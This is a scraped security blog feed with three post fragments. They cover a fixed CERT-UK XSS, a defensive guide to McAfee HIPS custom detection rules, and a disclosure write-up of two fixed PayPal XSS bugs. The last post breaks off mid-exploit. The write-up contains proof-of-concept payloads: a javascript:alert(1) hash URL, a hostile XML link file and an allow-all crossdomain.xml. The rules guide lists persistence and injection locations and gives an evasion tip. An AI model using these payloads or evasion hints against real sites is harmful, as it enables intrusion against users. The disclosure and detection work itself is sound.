<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1heRiTS2xJeGpHuM05atWtmyb6iGk6rrhXPezOg_-9GLTGQbn7qBj0shsWfphD0k6T2EEr2tvJbQ22heSwGDLdwXWgpcV6AYTa149hqVMyZHtHLGe4Dox-GTysuxP4PlnDmEx2DA5YYWh/s1600/ukcert4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1heRiTS2xJeGpHuM05atWtmyb6iGk6rrhXPezOg_-9GLTGQbn7qBj0shsWfphD0k6T2EEr2tvJbQ22heSwGDLdwXWgpcV6AYTa149hqVMyZHtHLGe4Dox-GTysuxP4PlnDmEx2DA5YYWh/s1600/ukcert4.png" /></a></div>
</div>
<div>
<br />
<br />
I immediately reported the issue to CERT-UK and had a response+fix within a few hours.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDY7r_fHkgMsTMM6YGSdwI8IPu0abpvh9Wm5-_ta9w9TZkp36TedeRj_v3RrYzTSYBPeZl_bzryyOHDLB_SEfttC1lkXTPwcoFTGddLk81y1CTlOD75ovTb03ad_naj67rAF02aSK9kFB9/s1600/certresponse.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDY7r_fHkgMsTMM6YGSdwI8IPu0abpvh9Wm5-_ta9w9TZkp36TedeRj_v3RrYzTSYBPeZl_bzryyOHDLB_SEfttC1lkXTPwcoFTGddLk81y1CTlOD75ovTb03ad_naj67rAF02aSK9kFB9/s1600/certresponse.png" /></a></div>
<br />
I discovered this issue the day the site was released, 31st March. At the request of CERT-UK I delayed the release of this post to allow time to fix any other issues.</div>
<div>
<br />
<br /></div>
<span style="font-size: large;"><b>Final Thoughts</b></span><br />
<div>
<br /></div>
<div>
Another day, another XSS. Being from the UK it did feel a little embarrassing that such an obvious issue got missed but then again it just goes to show whether you are cyber ninja's from CERT-UK or mom+pop pie store from Nebraska, mistakes happen.<br />
<br />
Today's lesson is don't trust third party developers when they say everything is secure. Test it yourself (preferably on a regular basis) and verify their claims.<br />
<br />
Thanks again to CERT-UK for their fast response, you can follow them here <a href="http://twitter.com/cert_uk">@CERT_UK</a><br />
<br />
Pwndizzle out.<br />
<br /></div>
Unknownnoreply@blogger.com8tag:blogger.com,1999:blog-6613536328909163975.post-38984612753895209672014-03-31T07:05:00.000+01:002014-03-31T11:54:22.682+01:00Custom McAfee HIPS Rules That Actually WorkIn this post I'm going to talk about McAfee HIPS expert rules and provide some real world examples of ways to actually catch the bad guys.<br />
<br />
For more info on McAfee HIPS check the manual (page 101 onwards) here: <a href="https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/22000/PD22894/en_US/Host%20Intrusion%20Prevention%20800%20Product%20Guide%20for%20ePO%20450.pdf">https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/22000/PD22894/en_US/Host%20Intrusion%20Prevention%20800%20Product%20Guide%20for%20ePO%20450.pdf</a><br />
<br />
<b>Disclaimer</b> - I'm not a malware guru and this post will likely be me trying to reinvent the wheel. If you have any tips or know any good HIPS resources please drop me a comment below!<br />
<br />
<br />
<b><span style="font-size: large;">Catching Bad Guys With HIPS</span></b><br />
<br />
For an attacker to gain a foothold in your organisation they will need to run code on your systems, drop files and also setup persistence. Without these items they have no foothold. AV usually approaches this problem with a signature blacklist but as we all know this can be easy to evade.<br />
<br />
Host intrusion detection/prevention on the other hand, can be more effective because instead of just blocking the <b>known</b> bad you can monitor <b>everything</b> and then remove the good, to find the bad. By whitelisting known good combinations of filenames, locations, processes, registry keys etc. you'll effectively be left with just the bad activity (plus a small number of false positives).<br />
<br />
<br />
<b><span style="font-size: large;">Hey I use McAfee too!</span></b><br />
<br />
McAfee produce a HIPS product that uses a kernel-level driver to monitor system calls, if specific criteria are met you can either create an alert or block the activity. Like most security products the default signatures are out-dated and prone to false positives. What's more, as they are proprietary the actual signature content is neither visible or modifiable, making tuning and investigation tough.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3eta_9PLivTGOAPv2O2A3LkqubAcSsuJy-KVGgmTkqMNgyq0xDe_y6-XQbm-xZ2kItChg00b4sIjCdISxxVpEwYV-qAnx5ge-rP2V_g5tqOrJZgW6_ReOGbukaomldyEjx6-Q2icEQhl5/s1600/mcafeehips.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3eta_9PLivTGOAPv2O2A3LkqubAcSsuJy-KVGgmTkqMNgyq0xDe_y6-XQbm-xZ2kItChg00b4sIjCdISxxVpEwYV-qAnx5ge-rP2V_g5tqOrJZgW6_ReOGbukaomldyEjx6-Q2icEQhl5/s1600/mcafeehips.jpg" height="265" width="400" /></a></div>
<br />
Luckily McAfee allow you to create your own custom rules using a limited subset of system calls related to files, the registry, processes and a few other things. Sadly McAfee don't let you monitor arbitrary system calls like <a href="http://ambuships.com/details.html">Ambush IPS</a>.<br />
<br />
<b>Implementation sidenote</b> - Avoid filtering HIPS alerts using "Exception Rules" they're just messy, use custom rules instead and avoid "Access Protection" rules they don't offer enough granularity. <br />
<br />
<br />
<b><span style="font-size: large;">The Expert Template</span></b><br />
<br />
To create a new HIPS rule in McAfee EPO go to Policy Catalog -> Product: Host Intrusion Prevention -> Category: IPS Rules, select your IPS rules policy then click "New" to add a custom rule. Under the subrules tab select "New Expert Rule". Expert rules are more customisable and easier to manage so I would definitely recommend using them over basic rules. (Although it can be useful creating basic rules and clicking the preview button, as this will give you the basic code needed for the expert rule.)<br />
<br />
The template that most rules follow is something like the following:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Rule {
tag <tagname>
Class <either File/Registry/Service/Process>
Id <ID assigned by EPO>
level 3
attributes -no_trusted_apps
<class value> { Include "<something>" }
<class value> { Exclude "<something>" }
Executable { Include "*" }
Executable { Exclude { -path "<something>"} }
user_name { Include "*" }
directives <class:action1> <class:action2>
}
</pre>
<br />
All parameters in angle brackets < > should be replaced with values. Starting from the top, name and ID are self explanatory, you need to save the rule and an ID will be assigned that you can add to the rule later. The level is the severity from 0 to 4 (informational to high) The "Class" depends on what type of rule you want to create, I'll cover some examples below. There will be specific inclusions and exclusions for the class. You can also define specific executables you either want to include or exclude from monitoring. Finally the "directives" part defines the specific actions (API calls) we want to watch, for example, file creation will be "files:create".<br />
<br />
<b>Wildcards:</b> & = everything except slashes (so no path traversing), * = everything including slashes.<br />
Both are useful for different situations and balancing extra visibility with false positive reduction.<br />
<br />
<br />
<span style="font-size: large;"><b>File Activity</b></span><br />
<br />
99% of the bad guys in the world today will write files to disk for functionality and persistence reasons. For a defender that's awesome as we now have a way to detect when a machine is compromised.<br />
<br />
<b>Attacker Tip</b>: Don't write files to disk, do everything in memory!<br />
<br />
McAfee HIPS supports monitoring of file create, read, write, execute, delete, renaming, attribute modification and hardlink creation. We just need to define which file path/type we want or don't want to alert on and any executables we want to include (known bad sources) or exclude (known creators of false positives).<br />
<br />
Below is a basic file monitoring template that looks for all exe's and dll's created in system32:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Rule {
tag file_create_write
Class Files
Id 4001
level 3
attributes -no_trusted_apps
files { Include "C:\\Windows\\System32\\&.dll" "C:\\Windows\\System32\\&.exe" }
files { Exclude "C:\\example\\exclude" }
Executable { Include "*" }
Executable { Exclude { -path "c:\\Windows\\System32\\MRTSTUB.exe" } { -path "C:\\Windows\\System32\\SPOOLSV.EXE"} }
user_name { Include "*" }
directives files:create files:write
}
</pre>
<br />
In the "files" section you can see how you just "Include" the path you're interested in surrounded by quotes. The ampersand acts as a wildcard and remember to use <b>double slashes in paths</b>! I ignore ("Exclude") any file created by mrtstub.exe or spoolsv.exe as these guys generated more false positives than true positives.<br />
<br />
Creating any rule is a balancing act between greater visibility and false positive reduction. To improve the effectiveness and accuracy of signatures it helps to focus on known bad locations, extensions and processes. I've included some suggestions below (Microsoft has a location list <a href="http://www.microsoft.com/security/portal/mmpc/shared/variables.aspx">here</a>):<br />
<br />
<b>Potentially bad extensions:</b><br />
exe, dll, bat, pif, scr, com, ps1, vbs, vbe, js, lnk, tmp, jar, class, jnlp, doc(x), xls(x), pdf<br />
<br />
<b>Potentially bad locations:</b><br />
C:\Windows<br />
C:\Windows\System32\*<br />
C:\Windows\System32\drivers<br />
C:\Program Files<br />
<br />
<b>Win7 specific:</b><br />
C:\Program Files(x86)<br />
C:\Windows\SysWOW64<br />
%Temp% = C:\Users\<user>\AppData\Local\Temp<br />
%Appdata% = C:\Users\<user>\AppData\Roaming<br />
%ProgramData% = C:\ProgramData<br />
C:\Users\<user>\AppData\LocalLow\Sun\Java\Deployment\cache<br />
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup<br />
<br />
<b>WinXP specific:</b><br />
%Temp% = C:\Documents and Settings\<user>\Local Settings\Temp<br />
%Appdata% = C:\Documents and Settings\<user>\Application Data<br />
C:\Documents and Settings\<user>\Application Data\Sun\Java\Deployment\cache<br />
C:\Documents and Settings\<user>\Start Menu\Programs\Startup<br />
<br />
<b>Potentially exploitable executables:</b><br />
Java = C:\Program Files (x86)\Java\jre7\bin\java.exe<br />
Javaw = C:\Program Files (x86)\Java\jre7\bin\javaw.exe<br />
Internet Explorer = C:\Program Files (x86)\Internet Explorer\iexplore.exe<br />
Microsoft Office = C:\Program Files (x86)\Microsoft Office\Office*\<product>.exe<br />
Adobe Reader = C:\Program Files (x86)\Adobe\Reader *\Reader\AcroRd32.exe<br />
<br />
<b>Executables malware might inject into:</b><br />
svchost.exe, explorer.exe, rundll32.exe, winlogon.exe, notepad.exe<br />
<br />
Putting this all together we get some interesting use cases:<br />
<ul>
<li>Java applet loaded, java.exe creates .idx or .class file in Java cache</li>
<li>Malware running from svchost.exe drops exe/dll in %Temp% </li>
<li>New files added to startup folder or scheduled tasks created for persistence</li>
<li>Rootkit (*.sys) dropped in drivers folder</li>
<li>Unusual files (bat, pif, scr, com, vbs, vbe) created in, or executed from %Temp% and %Appdata%</li>
</ul>
Bare in mind that if the attacker migrates processes the exploited programs themselves may not drop malware, so if possible don't restrict the rule to a specific source executable. As a real life example a Java exploit I analysed this week used svchost.exe to drop a payload triggering a rule similar to this:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Rule {
tag svchost_create_exe
Class Files
Id 4002
level 3
attributes -no_trusted_apps
files { Include "C:\\Users\\&\\AppData\\*.exe" }
files { Exclude "C:\\example\\exclude" }
Executable { Include { -path "C:\\WINDOWS\\SYSWOW64\\SVCHOST.EXE" } }
Executable { Exclude { -path "c:\\example\\exclude" } }
user_name { Include "*" }
directives files:create files:write
}
</pre>
<br />
<br />
<span style="font-size: large;"><b>Registry Activity</b></span><br />
<br />
The registry is another favourite area for attackers to target because of persistence and access to system settings. There are loads of persistence locations, I've included some below but a lot of the time malware will go for the really obvious CurrentVersion\Run. It can also be useful to look for changes to things like windows update, firewall or security centre.<br />
<br />
Using HIPS we can monitor registry activity to detect the creation/access of keys at known sensitive locations. McAfee supports monitoring of create, read, delete, modify, permissions, enumerate, monitor, restore, replace, load, and rename system calls.<br />
<br />
A basic registry monitoring template is below:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Rule {
tag "HKLM/HKCU Wscript Run Value"
Class Registry
Id 4003
level 3
Executable { Include { -path "c:\\windows\\system32\\wscript.exe" } }
values { Include "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&" "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\&" "\\REGISTRY\\CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&" "\\REGISTRY\\CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\&" }
values { Exclude "\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\SYNCHRONIZATION MANAGER" "\\REGISTRY\\CURRENT_USER\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\CTFMON.EXE" }
directives registry:create
}
</pre>
<br />
In this rule I'm looking for suspicious registry entries created by wscript, which is useful for detecting the vbs malware mentioned in my previous posts. I've included multiple registry run locations where malware will often create entries and excluded some false positives. Note that McAfee uses a slightly different syntax for registry paths, HKEY_LOCAL_MACHINE = MACHINE and HKEY_CURRENT_USER = CURRENT_USER.<br />
<br />
Below are some common registry locations in ready to use McAfee format, a more comprehensive list can be found <a href="https://forums.hak5.org/index.php?/topic/12112-registry-autostart-locations/">here</a> and for comparison there is a real life ZeroAccess example <a href="http://home.mcafee.com/virusinfo/virusprofile.aspx?key=3629968">here</a>.<br />
<br />
<b>Common persistence locations</b><b>:</b><br />
<br />
\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&<br />
\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\&<br />
\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\&<br />
\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs\\&<br />
\\REGISTRY\\MACHINE\\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\\&<br />
\\REGISTRY\\MACHINE\\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\\&<br />
\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet\\Services\\&<br />
\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet\\Services\\&\\Parameters\\ServiceDLL\\&<br />
<br />
<b>Windows Firewall </b><br />
<div>
\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy<br />
<b>Windows Security Centre</b></div>
<div>
\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\wscsvc<br />
<b>Windows Update</b></div>
<div>
\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\wuauserv<br />
<br />
Above are the HKLM entries, you can specify equivalents for HKCU (or use the & to cover both) e.g.<br />
\\REGISTRY\\CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\&<br />
<br />
<br />
<span style="font-size: large;"><b>What about Programs?</b></span><br />
<br />
The McAfee programs class covers new process creation (program:run or CreateProcess) and opening of existing processes with specific permissions (program:open_with_x or OpenProcess). Program:run can let you to track potential malware executing from the %temp% or %appdata% folders (Target_Executable { Include { -path "C:\\Users\\&\\AppData\\Roaming\\*.exe"}}) or even track the use of built-in utilities such as Powershell or Remote Desktop.<br />
<br />
For example to track Powershell usage but exclude a known admin user:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Rule {
tag "Powershell execution"
Class Program
Id 4004
level 3
Target_Executable { Include { -path "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" } \
{ -path "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" }
}
user_name { Exclude "domain\\john" }
directives program:run
}
</pre>
<br />
OpenProcess is often used when performing code injection, the catch is that it's also used by legitimate programs. You can try detecting code injection of explorer.exe for example by using the open_with_ directive, <a href="http://software.intel.com/en-us/articles/intercepting-system-api-calls">this</a> Intel post has a good explanation but be wary of the false positives.<br />
<br />
Taken from the link above the directive permissions you'll want are:<br />
<br />
PROCESS_VM_OPERATION // For VirtualAllocEx/VirtualFreeEx<br />
PROCESS_VM_WRITE // For WriteProcessMemory<br />
PROCESS_CREATE_THREAD // For CreateRemoteThread<br />
<br />
<br />
<span style="font-size: large;"><b>Hooking (SetWindowsHookEx)</b></span><br />
<br />
SetWindowsHookEx can be used nefariously for both DLL injection and hooking (interception of function calls, events or messages within a process). There's a great explanation on the Volatility blog <a href="http://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html">here</a>.<br />
<br />
McAfee HIPS supports monitoring of SetWindowsHookEx usage and can alert you to potential dll injection/hooking attempts. To detect browser keylogging we can use a rule like the following:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Rule {
tag browser_hook
Class Hook
Id 4005
level 3
attributes -no_trusted_apps
Executable { Include { -path "C:\\PROGRAM FILES (X86)\\INTERNET EXPLORER\\IEXPLORE.EXE" } { -path "C:\\PROGRAM FILES\\INTERNET EXPLORER\\IEXPLORE.EXE" } { -path "C:\\PROGRAM FILES\\GOOGLE\\CHROME\\APPLICATION\\CHROME.EXE" } { -path "C:\\PROGRAM FILES (X86)\\GOOGLE\\CHROME\\APPLICATION\\CHROME.EXE" } { -path "C:\\PROGRAM FILES\\MOZILLA FIREFOX\\FIREFOX.EXE" } { -path "C:\\PROGRAM FILES (X86)\\MOZILLA FIREFOX\\FIREFOX.EXE" }}
Executable { Exclude { -path "C:\\example\\exclude" } }
Handler_Module { Exclude { -path "C:\\WINDOWS\\SYSTEM32\\MSHTML.DLL" } { -path "C:\\WINDOWS\\SYSTEM32\\IEFRAME.DLL"} { -path "C:\\WINDOWS\\SYSTEM32\\MSCTF.DLL"} { -path "C:\\WINDOWS\\SYSTEM32\\EXPLORERFRAME.DLL"} { -path "C:\\PROGRAM FILES (X86)\\INTERNET EXPLORER\\IEDVTOOL.DLL"} { -path "C:\\WINDOWS\\SYSWOW64\\SHELL32.DLL"} { -path "C:\\WINDOWS\\SYSTEM32\\SHELL32.DLL"} { -path "C:\\PROGRAM FILES (X86)\\INTERNET EXPLORER\\IEXPLORE.EXE"} { -path "C:\\PROGRAM FILES\\MICROSOFT\\INTERNET EXPLORER DEVELOPER TOOLBAR\\IEDEVTOOLBAR.DLL"} { -path "C:\\PROGRAM FILES\\GOOGLE\\CHROME\\APPLICATION\\CHROME.EXE"} }
user_name { Include "*" }
directives hook:set_windows_hook
}
</pre>
<br />
You'll likely see DLL's being loaded for all kinds of different browser extensions and toolbars. Apart from browser hooking I haven't really tested this rule with other use cases, would love to hear some suggestions.<br />
<br />
<br />
<span style="font-size: large;"><b>And finally...services!</b></span><br />
<br />
The final type of rule I'll cover is related to services. Services offer another persistence mechanism for malware to abuse and interestingly are also used during lateral movement with psexec (see Metasploit psexec <a href="http://community.rapid7.com/community/metasploit/blog/2013/03/09/psexec-demystified">here</a> - you could also monitor file creation/execution in ADMIN$).<br />
<br />
I found new service creation to be relatively infrequent so easy to monitor for suspicious activity. The following rule will catch new service creation - I've excluded some false positives:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Rule {
tag "New service created"
Class Services
Id 4006
level 3
display_names { Include "*" }
display_names { Exclude "GUPDATE" "GUPDATEM" "MOZILLAMAINTENANCE" "JAVAQUICKSTARTERSERVICE" "IPOD SERVICE"}
directives services:create
}
</pre>
<br />
<br />
<span style="font-size: large;"><b>Monitoring your rules</b></span><br />
<br />
With all your rules created, deployed and churning out events we obviously need some way to monitor the events. SIEM is the best choice but if EPO is your only option then you'll need to create a custom query.<br />
<br />
I created a query with the following properties:<br />
<ul>
<li><b>Result:</b> Type set to Events -> Threat Events.</li>
<li><b>Chart:</b> Use a Multi-group Summary Table. Labels -> Threat Name and Signature Name.</li>
<li><b>Columns:</b> Make sure to include Threat Name and Signature Name.</li>
<li><b>Filter:</b> Event ID 18000, 18001, 1092. Threat Name equal to your signature ID e.g. 4001</li>
</ul>
This query should give you a list of your signatures and how often they have triggered.<br />
<br />
<br />
<b><span style="font-size: large;">Final Thoughts</span></b><br />
<br />
Creating custom HIPS rules isn't always easy, it takes time to develop use cases and you will get a lot of false positives that will need to be tuned out. Once perfected though custom rules can give you some great visibility of activity on your systems and also highlight areas for improvement (better email or web proxy filtering, tighter folder/registry access restrictions etc.).<br />
<br />
Evil-minded readers may have already spotted the obvious that it is easy to evade HIPS rules by either using system calls not monitored by HIPS or by using files/locations/processes/services that have been excluded (whitelisted) in the rule. The answer really is to use a product that sees and logs everything (not Mcafee).<br />
<br />
I'd love to hear feedback from you guys about HIPS rules that do/don't work and specific files, locations, activity you've found useful, drop me a comment below. And remember, if in doubt, log it all, you can always filter later :)<br />
<br />
Pwndizzle out.<br />
<br />
<br /></div>
Unknownnoreply@blogger.com103tag:blogger.com,1999:blog-6613536328909163975.post-34576658621627157922014-03-12T13:45:00.001+00:002014-03-12T13:49:11.264+00:00Paypal xmlPath SWF XSS and DOM Based XSSBack in November 2012 I reported two XSS issues to Paypal, one was a vulnerable SWF on personal.paypal.com and the other was a DOM XSS in paypalobjects.com.<br />
<br />
It's taken months and months but with the issues now fixed I wanted to finally publish this post. Enjoy!<br />
<br />
<br />
<b><span style="font-size: large;">Iframe Src XSS</span></b><br />
<br />
While poking around Paypal I came across a help files section. Straight away my bounty hunter senses started tingling as the site looked pretty old and poorly designed. After a quick parse with Dominator it detected a really simple DOM based XSS issue:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikpB9-zHqTb9IIeO4GZ9lZcwSdKniR_WpzKxjFCiGMCiySaN-OU-K_NMINu188FxxPb2IJy5Sm99jd9qbLpx2TH-XAPwdjvulj2gDKuRYFCNE8RuaR9jCcTxbynEFBej4f4J6tTetcn1mx/s1600/paypalxssdom1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikpB9-zHqTb9IIeO4GZ9lZcwSdKniR_WpzKxjFCiGMCiySaN-OU-K_NMINu188FxxPb2IJy5Sm99jd9qbLpx2TH-XAPwdjvulj2gDKuRYFCNE8RuaR9jCcTxbynEFBej4f4J6tTetcn1mx/s1600/paypalxssdom1.png" /></a></div>
<br />
The page contained Javascript that would write the location hash value directly into an iframe source without any kind of filtering.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIxJGjEHxSzuq6gFe3yBw-UJRTHubvxV8pZiJPQMraxjGsOyO2Vrk4YZBbdhE_G_RD6SEqYNJxu6PT1BGRvxX0pRn_GCE45P-VdF9Xi8jtaj1O9b1Mfwq0XALsrxiQaN_q7C2W6MrZmevm/s1600/paypalxssdom2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIxJGjEHxSzuq6gFe3yBw-UJRTHubvxV8pZiJPQMraxjGsOyO2Vrk4YZBbdhE_G_RD6SEqYNJxu6PT1BGRvxX0pRn_GCE45P-VdF9Xi8jtaj1O9b1Mfwq0XALsrxiQaN_q7C2W6MrZmevm/s1600/paypalxssdom2.png" /></a></div>
<br />
To exploit you'd just use the following:<br />
<br />
<a href="https://www.paypalobjects.com/en_US/vhelp/paypalregistration_help/paypalregistration_help.htm#javascript:alert(1)">https://www.paypalobjects.com/en_US/vhelp/paypalregistration_help/paypalregistration_help.htm#javascript:alert(1)</a><br />
<br />
Because paypalobjects was a separate domain to the main Paypal site there was no way to access session data/launch attacks from the main Paypal domain. And for phishing paypalobjects is a really unconvincing name so I'd argue this was relatively low risk issue.<br />
<br />
<br />
<span style="font-size: large;"><b>Playing with SWFs</b></span><br />
<br />
Knowing how easy it can be to exploit SWF's I did some Googling and went through the SWF files Paypal were using. After analyzing a few I found a SWF that used a remote xml file to define the links used within the page.<br />
<br />
<a href="https://personal.paypal.com/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.swf?xmlPath=/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.xml">https://personal.paypal.com/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.swf?xmlPath=/cms_content/IL/en_US/files/marketing_il/pp101_what_is_paypal.xml</a><br />
<br />
The SWF started by loading the xmlPath variable (included in the URL). If no path was supplied a default was used instead.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxQgXj2DnGoIpfd3bGj5urtPLDW0SaaAZP5CjvYWuwVIfYAHGy4L8goq4iFh9-BNGCUU6X-6uzXvnscNMxFKGJt94IVnr9LJOUzN7R0SlswerPExkfh14gx6f5La_CksoNwRmkeAMqiq2W/s1600/paypalswfxss0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxQgXj2DnGoIpfd3bGj5urtPLDW0SaaAZP5CjvYWuwVIfYAHGy4L8goq4iFh9-BNGCUU6X-6uzXvnscNMxFKGJt94IVnr9LJOUzN7R0SlswerPExkfh14gx6f5La_CksoNwRmkeAMqiq2W/s1600/paypalswfxss0.png" /></a></div>
Next the path was checked using the isDomainEnabled function.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYeNSXSCV6Qd0RwS1DUCmBqQW07O_HLRSbce8TzCHIKjfA558zxYvmuyXBedCfNVwjL-2RjWmPtPy9jS94JXmiK-oEZc4JC7EAL48HRHMLXrGUD-1L4_7ZWH635CKbEM2jbGVxEKRgnXO6/s1600/paypalswfxss2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYeNSXSCV6Qd0RwS1DUCmBqQW07O_HLRSbce8TzCHIKjfA558zxYvmuyXBedCfNVwjL-2RjWmPtPy9jS94JXmiK-oEZc4JC7EAL48HRHMLXrGUD-1L4_7ZWH635CKbEM2jbGVxEKRgnXO6/s1600/paypalswfxss2.png" /></a></div>
In the code below you can see how url.indexOf is used to test for the presence of http or www, 4294967295 is returned if the string is not found. If http:// is not found and www is found then our URL is checked to see if it matches a domain whitelist or not. The logic here is just messy and easy to evade using https instead of http in the xmlPath.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYS2zqtAxFWWcc9dNmEbklDS_FpP1npkH0XdAGAvQugThOrjkYsay_v4BHL0YKSmLR32T4N4CEe7fzUOnag-v1xldJTp5IwBwKkuublkS-dGo8IEFB7GiE1ahpVpLkbN-bwRxk22BLP-8F/s1600/paypalswfxss4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYS2zqtAxFWWcc9dNmEbklDS_FpP1npkH0XdAGAvQugThOrjkYsay_v4BHL0YKSmLR32T4N4CEe7fzUOnag-v1xldJTp5IwBwKkuublkS-dGo8IEFB7GiE1ahpVpLkbN-bwRxk22BLP-8F/s1600/paypalswfxss4.png" /></a></div>
<br />
Once past this check, myXML.load(path) completes and now within the button onPress event the getURL will be performed on our xml values.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWaSfRI6YwT_dBvj5e8KHA4jsqowitGKwksvhqvPUGiAiJtCnexvVfFlhyphenhyphenF-vIrXFs04N4e1no_Mt1_lHNA5qo8J8-we9QemzC4wBONxdvFlbInITbxlkpdD9shfw0eFIDVJxzp-q9PeFG/s1600/paypalswfxss3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWaSfRI6YwT_dBvj5e8KHA4jsqowitGKwksvhqvPUGiAiJtCnexvVfFlhyphenhyphenF-vIrXFs04N4e1no_Mt1_lHNA5qo8J8-we9QemzC4wBONxdvFlbInITbxlkpdD9shfw0eFIDVJxzp-q9PeFG/s1600/paypalswfxss3.png" /></a></div>
The real Paypal xml file looked like this:<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><links>
<link uri="https://personal.paypal.com/il/cgi-bin/marketingweb?cmd=_render-content&content_ID=marketing_il/PayPal_FAQ"/>
<link uri="http://www.youtube.com/watch?v=UsOTILPwegg"/>
</links>
</pre>
<br />
I created my own xml file and added javascript for links.<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><links>
<link uri="javascript:alert(1)"/>
<link uri="javascript:alert(1)"/>
</links>
</pre>
<br />
And created a crossdomain.xml that allows all, so the swf could access my xml file.<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;"><?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
</pre>
<br />
Now to exploit our Paypal user all we do is send a link pointing to our xml file:<br />
<br />
